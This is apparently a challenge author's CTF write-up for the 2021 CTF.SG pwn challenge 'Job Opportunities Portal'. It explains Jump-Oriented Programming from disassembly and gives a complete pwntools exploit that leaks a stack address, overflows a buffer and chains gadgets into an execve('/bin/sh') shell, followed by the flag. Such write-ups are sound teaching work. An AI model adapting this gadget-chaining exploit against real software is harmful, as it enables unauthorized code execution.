CTFSG CTF 2021
11 Mar 2022Preamble
As CTF.SG CTF 2022 is happening this weekend, I thought it’d be as good a time as any to revisit some of the challenges that I’ve made for the 2021 run of the CTF.
Table of Contents
- Pwn: Job Opportunities Portal
- Pwn: Pwn Overflow More Often
- Reverse: Haachama Cooking
- Reverse: What do the numbas mean?
Pwn: Job Opportunities Portal
Ever since our Ministries got hacked, we have worked tirelessly to create new Task Forces to discover solutions to our cybersecurity woes. One such taskforce suggested that we should remove all `ret` instructions and libc dependencies so we don't have to worry about buffer overflows and ROPs! What a brilliant idea! Give this team a medal!
Download the challenge binary here.
This challenge was inspired by a NUS research paper on Jump-Oriented Programming: A New Class of Code-Reuse
Attack. As its name implies, it is conceptually similar to Return-Oriented Programming albeit with a few key differences, one of which is that gadgets end with a JMP
instruction instead of RET
, thereby increasing the difficulty of forming a working JOP chain as compared to its ROP counterpart.
To work around this constraint, a few new concepts are introduced such as the dispatcher gadget
to act as a pseudo stack pointer to traverse the gadgets and dispatch tables
to act as a pseudo stack containing the JOP chain. Although this challenge made use of the stack specifically, you can also execute a JOP chain off the heap as well. More details on the dispatcher gadgets later in the writeup.
Since there is no libc for us to use, we have to construct the execve
syscall to /bin/sh
manually. This means that on top of the missing RET
instruction constraints, we have to somehow sneak in a copy of the /bin/sh
string in our payload to be referenced.
Analysing the Program
$ ./jop
Welcome to THE Job Offer Portal. Our ratings are so great that we have not come across a single user that has demanded an apology.
You have a pending job offer. What do you want to do?
1. Accept the Job
2. Submit Feedback
3. Exit
> 1
Your job offer have been accepted. Please wait 3-5 working days for the HR to get back to you.
You have a pending job offer. What do you want to do?
1. Accept the Job
2. Submit Feedback
3. Exit
> 2
Submit your feedback: My Feedback
Thank you for your feedback!
You have a pending job offer. What do you want to do?
1. Accept the Job
2. Submit Feedback
3. Exit
> 3
Have a nice day!
On the surface, options 1 and 3 does not seem useful to us. Option 2 allows us to send some user input which could be our buffer overflow entrypoint. Let’s analyse the program code using radare2
.
[0x0040102c]> pdf
;-- rip:
/ 263: entry0 ();
<truncated for brevity>
| ::: 0x00401054 48be9c214000. movabs rsi, section..bss ; 0x40219c
| ::: 0x0040105e ba10000000 mov edx, 0x10 ; 16
| ::: 0x00401063 e8f5000000 call fcn.0040115d
| ::: 0x00401068 803e31 cmp byte [rsi], 0x31
| ,====< 0x0040106b 0f8ca9000000 jl 0x40111a
| ,=====< 0x00401071 7429 je 0x40109c
| ||::: 0x00401073 803e32 cmp byte [rsi], 0x32
| ,======< 0x00401076 743a je 0x4010b2
| |||::: 0x00401078 803e33 cmp byte [rsi], 0x33
| ,=======< 0x0040107b 0f8480000000 je 0x401101
| ||||::: 0x00401081 803e34 cmp byte [rsi], 0x34
| ========< 0x00401084 0f8f90000000 jg 0x40111a
| ||||::: 0x0040108a 54 push rsp
| ||||::: 0x0040108b 54 push rsp
| ||||::: 0x0040108c 54 push rsp
| ||||::: 0x0040108d 5e pop rsi
| ||||::: 0x0040108e 5c pop rsp
| ||||::: 0x0040108f 5c pop rsp
| ||||::: 0x00401090 ba08000000 mov edx, 8
| ||||::: 0x00401095 e8ad000000 call fcn.00401147
| ||||`===< 0x0040109a eba4 jmp 0x401040
| |||| :: ; CODE XREF from entry0 @ 0x401071
| ||`-----> 0x0040109c 48bee8204000. movabs rsi, 0x4020e8 ; "Your job offer have been accepted. Please wait 3-5 working days for the HR to get back to you.\nHave a nice day!\nInvalid choice.\nSubmit your feedback: Thank you for your feedback!\n"
| || | :: 0x004010a6 ba5f000000 mov edx, 0x5f ; '_' ; 95
| || | :: 0x004010ab e897000000 call fcn.00401147
| || | `==< 0x004010b0 eb8e jmp 0x401040
| || | : ; CODE XREF from entry0 @ 0x401076
| |`------> 0x004010b2 48be68214000. movabs rsi, 0x402168 ; 'h!@' ; "Submit your feedback: Thank you for your feedback!\n"
| | | : 0x004010bc ba16000000 mov edx, 0x16 ; 22
| | | : 0x004010c1 e881000000 call fcn.00401147
| | | : 0x004010c6 6840104000 push 0x401040
| | | : 0x004010cb 4881ec000100. sub rsp, 0x100
| | | : 0x004010d2 4889e6 mov rsi, rsp
| | | : 0x004010d5 ba68010000 mov edx, 0x168 ; 360
| | | : 0x004010da 4831c0 xor rax, rax
| | | : 0x004010dd 4831ff xor rdi, rdi
| | | : 0x004010e0 0f05 syscall
| | | : 0x004010e2 48be7e214000. movabs rsi, 0x40217e ; '~!@' ; "Thank you for your feedback!\n"
| | | : 0x004010ec ba1d000000 mov edx, 0x1d ; 29
| | | : 0x004010f1 e851000000 call fcn.00401147
| | | : 0x004010f6 4881c4080100. add rsp, 0x108
| | | : 0x004010fd ff6424f8 jmp qword [rsp - 8]
| | | : ; CODE XREF from entry0 @ 0x40107b
| `-------> 0x00401101 48be47214000. movabs rsi, 0x402147 ; 'G!@' ; "Have a nice day!\nInvalid choice.\nSubmit your feedback: Thank you for your feedback!\n"
| | : 0x0040110b ba11000000 mov edx, 0x11 ; 17
| | : 0x00401110 e832000000 call fcn.00401147
| | : 0x00401115 e819000000 call fcn.00401133
| | : ; CODE XREFS from entry0 @ 0x40106b, 0x401084
| ---`----> 0x0040111a 48be58214000. movabs rsi, 0x402158 ; 'X!@' ; "Invalid choice.\nSubmit your feedback: Thank you for your feedback!\n"
| : 0x00401124 ba10000000 mov edx, 0x10 ; 16
| : 0x00401129 e819000000 call fcn.00401147
\ `=< 0x0040112e e90dffffff jmp 0x401040
At first glance, it may seem like a cesspool of assembly that we would prefer to not bleed our eyes with, we just need to note the conditional checks for the menu at 0x401068
(Option 1 which jumps to 0x40109c
), 0x401073
(Option 2 which jumps to 0x4010b2
), 0x401078
(Option 3 which jumps to 0x401101
), and an undocumented option 4 at 0x401081
. Upon choosing option 4, the follow instructions essentially leaks an address on the stack, which allow us to have somewhere to jump to after we perform the buffer overflow attack. Let’s run checksec
on the binary to see if we can execute shellcode directly off the stack:
$ checksec jop
[*] '/jop'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Thanks to the NX bit, we have no other choice but to execute a Jump-Oriented Programming attack. Here is a diagram from the research paper that highlights the differences between ROP and JOP:
The dispatch table is a pseudo stack that can reside in the stack or heap as you are not reliant on the EIP/RIP register to visit the next gadget in the chain. Instead, a dispatcher
gadget is used to advance the “program counter” to point to the next gadget to be ran. An auxiliary register that is unused by the program can be used to store the “program counter”. In short, here are the components we need to perform the attack:
- A
dispatcher
gadget (to advance to the next gadget in the JOP chain; the dispatcher itself does not perform any chain-related actions) - A
dispatch
table containing the JOP chain - A gadget catalog (with its memory addresses known) containing
functional
gadgets (gadgets that perform similarly to those in a ROP chain)
Here is a diagram from the research paper that illustrates a typical JOP attack lifecycle:
Path of Attack
With that out of the way, let us formulate the path of attack. Here are roughly the steps we need to take:
- Leak the stack base via a hidden option ‘4’. (You can discover this via a disassembler like IDA Pro or Ghidra)
- Perform a buffer overflow on the buffer, overwriting the RIP at the 256th position.
- Add your gadget catalog (In solve.py, there are 3: /bin/sh, add rsp, 0x8; jmp [rsp-0x8]; gadget, and 0x00.
- Point your RIP 24 bytes (3 gadgets that is 8 bytes each) after the RSP base which is right after the gadget catalog.
- Setup rcx and rdx to be your dispatch registers (Aka
jmp2dispatch
primitives) pointing to theadd rsp, 0x8; jmp [rsp-0x8];
gadget. -
Setup the SYS_execve syscall by organising your payload like this:
- Set rdi = &’/bin/sh’ (overwrites rdx)
- Reset rdx back to the dispatch gadget
- Set rsi = 0x00 (overwrites rcx)
- Reset rcx back to the dispatch gadget
- Set rax = SYS_execve (overwrites rdx)
- Reset rdx back to the dispatch gadget
- Perform the syscall to pwn
Exploit
#!/usr/bin/env python3
from pwn import *
elf = context.binary = ELF('./dist/jop')
if args.REMOTE:
p = remote('chals.ctf.sg', 20101)
else:
p = elf.process()
eip_offset = 256
xchg_rax_rdi_jmp_rax_1 = 0x401000 # xchg rax, rdi; jmp qword ptr [rax + 1];
xor_rax_rax_jmp_rdx = 0x40100a # xor rax, rax; jmp qword ptr [rdx];
pop_rsp_rdi_rcx_rdx_jmp_rdx_1 = 0x40100f # pop rsp; pop rdi; pop rcx; pop rdx; jmp qword ptr [rdi + 1];
mov_rsi_rcx_jmp_rdx = 0x40101b # mov rsi, qword ptr [rcx + 0x10]; jmp qword ptr [rdx];
pop_rdx_jmp_rcx = 0x401021 # pop rdx; jmp qword ptr [rcx];
add_rax_rdx_jmp_rcx = 0x401024 # add rax, rdx; jmp qword ptr [rcx];
pop_rcx_jmp_rdx = 0x401029 # pop rcx; jmp qword ptr [rdx];
syscall = 0x401163 # syscall;
ret = 0x401165 # add rsp, 0x8; jmp [rsp-0x8];
# Leak the stack base
p.sendlineafter('> ', '4')
rsp = u64(p.recvn(8)) - 0x100
log.success(f"rsp @ {hex(rsp)}")
# Build dispatch table and setup initial dispatch registers
payload = b'/bin/sh\x00' # [0x00] (rsp base)
payload += p64(ret) # [0x08]
payload += p64(0x00) # [0x10]
payload += p64(rsp + context.bytes*1 - 0x1) # [0x18] (rdi)
payload += p64(rsp + context.bytes*1) # [0x20] (rcx)
payload += p64(rsp + context.bytes*1) # [0x28] (rdx)
# Set rdi = &'/bin/sh' (xor rax, rax; pop rdx; add rax, rdx; xchg rax, rdi; ret)
payload += p64(xor_rax_rax_jmp_rdx) # [0x30]
payload += p64(pop_rdx_jmp_rcx) # [0x38]
payload += p64(rsp) # [0x40]
payload += p64(add_rax_rdx_jmp_rcx) # [0x48]
payload += p64(xchg_rax_rdi_jmp_rax_1) # [0x50]
# Reset rdx
payload += p64(pop_rdx_jmp_rcx) # [0x58]
payload += p64(rsp + context.bytes*1) # [0x60]
# Set rsi = 0x00 (pop rcx; mov rsi, [rcx+0x10]; ret)
payload += p64(pop_rcx_jmp_rdx) # [0x68]
payload += p64(rsp + context.bytes*2) # [0x70]
payload += p64(mov_rsi_rcx_jmp_rdx) # [0x78]
# Reset rcx
payload += p64(pop_rcx_jmp_rdx) # [0x80]
payload += p64(rsp + context.bytes*1) # [0x88]
# Set rax = SYS_execve (xor rax, rax; pop rdx; add rax, rdx; ret)
payload += p64(xor_rax_rax_jmp_rdx) # [0x90]
payload += p64(pop_rdx_jmp_rcx) # [0x98]
payload += p64(constants.SYS_execve) # [0xa0]
payload += p64(add_rax_rdx_jmp_rcx) # [0xa8]
# Set rdx = 0x00 & Pwn (pop rdx; syscall)
payload += p64(pop_rdx_jmp_rcx) # [0xb0]
payload += p64(0x00) # [0xb8]
payload += p64(syscall) # [0xc0]
p.sendlineafter('> ', '2')
p.sendlineafter(': ', flat({0: payload, eip_offset: pop_rsp_rdi_rcx_rdx_jmp_rdx_1}, rsp + context.bytes*3))
p.recvline()
p.interactive()
Here is an example of the exploit script in action:
Flag
CTFSG{3aT_5l33p_jMp_pWn_e3a35eed}